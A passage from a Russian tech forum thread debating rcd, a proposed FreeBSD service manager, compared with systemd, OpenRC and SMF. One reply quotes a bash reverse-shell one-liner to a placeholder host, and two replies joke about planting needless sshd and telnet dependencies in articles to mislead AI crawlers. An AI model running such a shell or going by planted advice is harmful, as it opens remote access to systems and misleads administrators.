Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от opennews (ok), 10-Сен-26, 10:22
Батист Даруссен (Baptiste Daroussin), член FreeBSD Core Team и автор пакетного менеджера pkg, развивает новый системный менеджер для FreeBSD - rcd. Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=66245
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по ответам | RSS]

1. Сообщение от JoePeach (ok), 10-Сен-26, 10:22	–31 +/–
Зачем изобретать systemd, если systemd же есть?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #3, #7, #10, #21, #34, #49, #52, #102

2. Сообщение от Аноним (3), 10-Сен-26, 10:25	+15 +/–
Вот и во freebsd будет свой systemd. Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #9, #28, #77, #105, #108

3. Сообщение от Аноним (3), 10-Сен-26, 10:27	+8 +/–
NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #131

6. Сообщение от Аноним (6), 10-Сен-26, 10:37	+1 +/–
Это не UNIX-way.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #17

7. Сообщение от Аноним (7), 10-Сен-26, 10:38	+7 +/–
А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда. Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #68, #184

8. Сообщение от мяв (?), 10-Сен-26, 10:38	+8 +/–
спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #33, #43, #67, #83

9. Сообщение от мяв (?), 10-Сен-26, 10:40	+/–
потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

10. Сообщение от Аноним (10), 10-Сен-26, 10:42	+12 +/–
systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #118, #189

12. Сообщение от manchelsi (ok), 10-Сен-26, 10:43	+1 +/–
> Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #220

13. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 10:46	+2 +/–
В Solaris говорят хороший инициализатор, интересно равняются ли на него?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #16, #32, #35, #40, #107

16. Сообщение от Аноним (16), 10-Сен-26, 10:58	–1 +/–
Лучше б не говорили.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #20, #65

17. Сообщение от warlock66613 (ok), 10-Сен-26, 11:03	+/–
Почему?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #24

18. Сообщение от warlock66613 (ok), 10-Сен-26, 11:05	+/–
Это наверное круто и правильно, но я не понял зачем это нужно.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #22, #23

19. Сообщение от Аноним (19), 10-Сен-26, 11:14	–2 +/–
Лучше б shepherd затащили… а, не, там же лицензия некошерная.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #39, #134

20. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 11:23	+/–
> Лучше б не говорили. Почему?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16

21. Сообщение от опеншлёпивпродакшн (?), 10-Сен-26, 11:24	–6 +/–
Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

22. Сообщение от 1 (??), 10-Сен-26, 11:31	+1 +/–
1. Ускорить загрузку 2. Выкинуть monitord
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #18 Ответы: #25, #70

23. Сообщение от 1 (??), 10-Сен-26, 11:33	–1 +/–
*monit же !
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #18

24. Сообщение от xsignal (ok), 10-Сен-26, 11:37	–1 +/–
Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17 Ответы: #36, #166

25. Сообщение от xsignal (ok), 10-Сен-26, 11:39	+3 +/–
> 1. Ускорить загрузку А что, приходится так часто перезагружаться, что это стало узким местом?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22 Ответы: #41, #44

26. Сообщение от Мемоним (?), 10-Сен-26, 11:43	–2 +/–
> написания встроенных обработчиков на языке Lua Заменить баш-портянки на луа-портянки? Ну так себе идея.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #59

27. Сообщение от Аноним (27), 10-Сен-26, 12:01	+/–
А мне вот интересно, зачем для запуска nginx требуется sshd.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #29

28. Сообщение от Аноним (28), 10-Сен-26, 12:07	+2 +/–
Потому что этот формат используют во FreeBSD уже много лет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #76

29. Сообщение от Аноним (29), 10-Сен-26, 12:14	+1 +/–
корм для нейросети. боремся как можем
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #27 Ответы: #30

30. Сообщение от Аноним (29), 10-Сен-26, 12:16	+2 +/–
я бы для статьи туда еще systemd прописал
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #51, #64

31. Сообщение от Аноним (31), 10-Сен-26, 12:18	+3 +/–
Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #42, #81

32. Сообщение от Аноним (33), 10-Сен-26, 12:18	+3 +/–
SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять  и перенести во FreeBSD не получится. К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13

33. Сообщение от Аноним (33), 10-Сен-26, 12:21	+/–
Чтоб было своё!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

34. Сообщение от pfg21 (ok), 10-Сен-26, 12:28	–1 +/–
чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #53, #140

35. Сообщение от ф1231 (?), 10-Сен-26, 12:39	+1 +/–
и где сейчас ваш соларис?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #47, #163

36. Сообщение от warlock66613 (ok), 10-Сен-26, 12:41	+2 +/–
KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #37, #38

37. Сообщение от xsignal (ok), 10-Сен-26, 12:44	+/–
> Это не менеджер, это просто запускалка Как позиционировался systemd когда-то и к чему это пришло...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #56

38. Сообщение от xsignal (ok), 10-Сен-26, 12:46	+/–
> KISS это вообще из другой оперы "Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #55

39. Сообщение от Аноним (90), 10-Сен-26, 12:49	+/–
Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19 Ответы: #137

40. Сообщение от yylloc (-), 10-Сен-26, 12:50	+/–
Он гвоздями прибит туда хлеще чем systemd
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #46

41. Сообщение от Аноним (41), 10-Сен-26, 12:57	–1 +/–
сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #143

42. Сообщение от Аноним (41), 10-Сен-26, 12:59	+2 +/–
тссс, сплюнь, может у бсдишников чтото толковое выйдет
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31

43. Сообщение от Аноним (43), 10-Сен-26, 13:12	+3 +/–
Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

44. Сообщение от Аноним (43), 10-Сен-26, 13:13	+1 +/–
Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #96

45. Сообщение от Аноним (45), 10-Сен-26, 13:33	+/–
Ну наконец-то. rc система фри ужасна. То что она должна делать - запускать и следить за сервисами, она не умеет от слова совсем, поэтому эта задача делегируется daemon(8), посмотрите сколько у вас в /usr/local/etc/rc.d скриптов с `command=/usr/sbin/daemon`. В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. /etc/rc.conf.d знаете как работает? Думаете можно положить туда кусок конфига и он будет работать как кусок rc.conf как все нормальные .d работают? Хрен. Туда можно положить только конфиг foo.conf для сервиса foo с переменными foo_, и никак иначе. Группировать как удобно - хрен. Зависимости которые сделаны через комментарии в шелл портянках это вообще нечто, но они ещё и криво сделаны, и никто не знает как с ними работать. Там есть, например, точки синхронизации NETWORK и DAEMON, и они идут точно в такой последовательности, потому что демонам нужна полностью поднятая сеть. Но вот появляется какой-нибудь VPN, который демон, значит после network, но при этом он создаёт часть сети и остальные демоны должны запускаться после него! Так не умеем он слова совсем. Короче, без systemd очень плохо. Был какой-то форк, но он нерабочий, поделки типа гню shepherd и не помню как то гoBнецо от plan9 называлось даже рассматривать не стоит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #50, #136, #205

46. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39	+/–
> Он гвоздями прибит туда хлеще чем systemd Так я говорю равняться на него, а не копировать
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40

47. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39	–1 +/–
> и где сейчас ваш соларис? Вдохновил современный инит в Линуксе
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35

48. Сообщение от Аноним (48), 10-Сен-26, 13:43	+2 +/–
Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #54, #58

49. Сообщение от Аноним (49), 10-Сен-26, 13:46	+/–
даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

50. Сообщение от Ivan_83 (ok), 10-Сен-26, 14:06	+/–
Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. > В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. Так и сервисы сильно разные. Нужно каждый смотреть отдельно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45 Ответы: #89

51. Сообщение от Аноним (276), 10-Сен-26, 14:07	+2 +/–
Не надо подводить под статью!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30

52. Сообщение от Аноним (52), 10-Сен-26, 14:14	+/–
Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

53. Сообщение от Гуманоид (?), 10-Сен-26, 14:17	+5 +/–
за конфиги на json есть отдельный котел в аду
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34 Ответы: #71, #75, #78, #92

54. Сообщение от Аноним (54), 10-Сен-26, 14:28	+2 +/–
есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48 Ответы: #85, #115

55. Сообщение от warlock66613 (ok), 10-Сен-26, 14:34	+1 +/–
Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #38 Ответы: #61

56. Сообщение от warlock66613 (ok), 10-Сен-26, 14:34	+8 +/–
Про systemd это всегда было враньём.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #37

57. Сообщение от Аноним (57), 10-Сен-26, 14:42	+2 +/–
делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #318

58. Сообщение от Ivan_83 (ok), 10-Сен-26, 15:00	+/–
Сильно зависит от того как и что вы собрались чинить. По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри. И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом. Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48 Ответы: #275

59. Сообщение от Ivan_83 (ok), 10-Сен-26, 15:02	+2 +/–
Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #63, #66

61. Сообщение от xsignal (ok), 10-Сен-26, 15:29	–1 +/–
> написать программу По принципу KISS - это самое последнее, что нужно делать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #55 Ответы: #72

63. Сообщение от Аноним (90), 10-Сен-26, 15:34	+1 +/–
Ну ну более зашкварный, чем bash.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59

64. Сообщение от Аноним (90), 10-Сен-26, 15:37	+3 +/–
А я бы за systemd статью прописал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #69, #95

65. Сообщение от Аноним (90), 10-Сен-26, 15:39	+/–
А что Upstart? Гугель вон до сих пор его использует.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16 Ответы: #277

66. Сообщение от Аноним (66), 10-Сен-26, 15:44	+2 +/–
По сравнению с bash, posix sh это просто трэш. Но баш можно поставить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59 Ответы: #74, #84, #135

67. Сообщение от Аноним (67), 10-Сен-26, 15:57	+/–
Не взлетело. Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh. В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо. В общем, тут консервативный подход победил.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

68. Сообщение от Аноним (68), 10-Сен-26, 15:58	+2 +/–
> Оно не живёт в PID1 Инит без pid 1? Хех. > и всё, что может сломаться, не несёт туда. Прямо как systemd... Ох уж эта опеннетная кекспертиза. Вы бы хоть разобрались что да как чтобы предметно хейтить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7

69. Сообщение от Аноним (29), 10-Сен-26, 15:59	+1 +/–
В войне с агентами Скайнета все средства хороши. В открытых публикациях всегда прописывайте sshd и еще по лучше telnet и много другого инересного в зависимости, чтобы у Сканета шарящего по сети созрела убежденность что это всегда необходимо делать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64

70. Сообщение от Аноним (67), 10-Сен-26, 16:01	+/–
1. Оно не сильно поможет: https://wiki.freebsd.org/BootTime
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22

71. Сообщение от Аноним (71), 10-Сен-26, 16:01	+/–
только ini :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #90

72. Сообщение от warlock66613 (ok), 10-Сен-26, 16:05	+3 +/–
Ну так всё остальное уже попробовали, получается не очень. Так что да, перешли к "самому последнему".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #61

73. Сообщение от MaLinovsky (?), 10-Сен-26, 16:12	–2 +/–
Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #80, #142, #270

74. Сообщение от Ivan_83 (ok), 10-Сен-26, 16:14	+2 +/–
Как пользовательский шелл - да, не удобное. Для скриптов вполне норм.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #97

75. Сообщение от Аноним (75), 10-Сен-26, 16:29	+/–
> за конфиги на json есть отдельный котел в аду А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #103

76. Сообщение от Аноним (75), 10-Сен-26, 16:38	+1 +/–
> Потому что этот формат используют во FreeBSD уже много лет. Нет, вообще не используется. Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #138, #167

77. Сообщение от Аноним (75), 10-Сен-26, 16:47	+1 +/–
> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #106, #120, #139, #160

78. Сообщение от Аноним (78), 10-Сен-26, 16:52	+1 +/–
Но сначала в голову гвоздь забить! Медленно...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53

79. Сообщение от Аноним (78), 10-Сен-26, 16:53	+/–
Во-первых, баян, во-вторых, не взлетит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #87, #112

80. Сообщение от Аноним (19), 10-Сен-26, 16:53	+1 +/–
>ZFS >PCIE >DDR Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #73 Ответы: #191

81. Сообщение от Аноним (75), 10-Сен-26, 16:53	+1 +/–
>Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос. А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31 Ответы: #99

82. Сообщение от Аноним (82), 10-Сен-26, 17:14	+/–
Чем это лучше dinit?
Ответить | Правка | Наверх | Cообщить модератору

83. Сообщение от OpenEcho (?), 10-Сен-26, 17:41	+/–
> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ? Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #93, #121

84. Сообщение от OpenEcho (?), 10-Сен-26, 17:46	+1 +/–
> По сравнению с bash, posix sh это просто трэш. Зато у него нет подушки для хакеров в виде башевского bash -i >& /dev/tcp/х.х.х.х/1234 0>&1
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #98, #264

85. Сообщение от нах. (?), 10-Сен-26, 17:50	+/–
эти люди назывались когда-то - авторы дистрибутивов. Кстати, до определенного момента они таки озабочивались. А потом кто умер, кто подался в агитаторы, а кто забил. А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #54 Ответы: #269

86. Сообщение от нах. (?), 10-Сен-26, 17:57	+2 +/–
В общем выглядит пока как systemd здорового человека. Единственное что смущает - автор, поскольку pkg... надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ! С другой стороны, никого ж уже и не жалко...
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #111

87. Сообщение от Аноним (87), 10-Сен-26, 18:28	+/–
Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #79 Ответы: #101, #171

88. Сообщение от Аноним (88), 10-Сен-26, 19:06	–2 +/–
Классную приблуду навайбкодили! Поддерживаю!
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #114

89. Сообщение от Аноним (89), 10-Сен-26, 19:17	+/–
> Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы запускает и перезапускает, с хрена ли не он должен за ними следить? Тем более что больше некому. > /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше - не нужно было бы хотя бы писать бойлерплейт в каждом rc.d скрипте. Но всё равно это было бы набором костылей. > Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? devd должен быть частью init системы, как сделано в systemd. И в rcd есть socket activation которая эту проблему также решает, правда по другому. В rc никакой активации не будет никогда.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50 Ответы: #109, #268

90. Сообщение от Аноним (90), 10-Сен-26, 19:45	–1 +/–
XML
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #71 Ответы: #128

91. Сообщение от Норм (?), 10-Сен-26, 20:09	+1 +/–
Молодци. Фря движется медленно но движение есть.
Ответить | Правка | Наверх | Cообщить модератору

92. Сообщение от Аноним (92), 10-Сен-26, 20:25	+2 +/–
Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #104

93. Сообщение от Аноним (92), 10-Сен-26, 20:31	+2 +/–
> чем ему не угодил ОпенРЦ NIH.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #83

95. Сообщение от Аноним (95), 10-Сен-26, 20:45	+/–
Достаточно было бы одного леща прописать одному конкретному немцу, жаль никто не догадался
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64 Ответы: #117

96. Сообщение от Аноним (92), 10-Сен-26, 20:47	–1 +/–
> Фряха последние годы ориентируется на десктоп А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

97. Сообщение от Аноним (92), 10-Сен-26, 20:48	+1 +/–
> Для скриптов вполне норм. Но только если писать их на lua.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #74

98. Сообщение от Аноним (92), 10-Сен-26, 20:49	+/–
Ну не собирай с этими фичами, если тебя ломают постоянно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #84 Ответы: #183

99. Сообщение от Аноним (92), 10-Сен-26, 20:54	+/–
Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #81 Ответы: #116

101. Сообщение от Аноним (101), 10-Сен-26, 20:59	+/–
Все пользуются.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87

102. Сообщение от Аноним (102), 10-Сен-26, 21:07	+/–
Зачем изобретали systemd, если есть upstart, используемый Гуглом?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

103. Сообщение от User (??), 10-Сен-26, 21:12	+1 +/–
Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75 Ответы: #169, #193

104. Сообщение от User (??), 10-Сен-26, 21:18	+/–
И у каждого, блджд, свои приколы: У json комментарии надо в семантику тащить У xml нормального парсера считай что нет + руками редактировать ээээ... Отвратительно. Yaml хрупкий и с неочевидными граблями У toml нет null/none, что для конфигурации важно (как показать в примере, что параметр _может быть_ но значения по умолчанию у него нет?) Ini... О, он нетипизированный by design, вот. И вложенность умеют не только лишь все...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92 Ответы: #119, #144

105. Сообщение от User (??), 10-Сен-26, 21:25	+/–
Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) догадается несколько позже)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #201

106. Сообщение от User (??), 10-Сен-26, 21:28	+/–
Ну тут вот годик назад некие васяны (ты их наверное не знаешь - Google'ем кличут) kyaml изобрели. Глюпые, да...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #125, #164

107. Сообщение от User (??), 10-Сен-26, 21:30	+1 +/–
Врут. Нет, если вы любите нескучный xml...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #110, #123

108. Сообщение от аноним анониму (?), 10-Сен-26, 21:37	+/–
> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг файрвол nftables в линуксе, видимо, тоже не видели. а мне формат от бздешников кажется самым адекватным для конфига.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #113

109. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:38	–1 +/–
> Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. А давно ли дистры линуха научились следить и перезапускать? > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. Вы не правы и мир сильно сложнее ваших представлений. > По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Если вы сами не умеете или боитесь - пользутесь готовым. Я не вижу с этим всем проблем, в том числе и в моих программах. > Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше Это инит для даунов авторов описан, которые пишут хэлло ворлд аппы и хотят их демонами запускать. Судя по вашм хотелкам вы даже сами ничего не админили, иначе бы знали насколько всё разнообразно конфигурится и что причесать под одну гребёнку не выйдет. > Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? Наверное потому что вы не разбираетесь в теме, иначе бы повешали его на 0.0.0.0 + :: и не задавали глупых вопросов. devd в данном случае позволяет организовать аналог 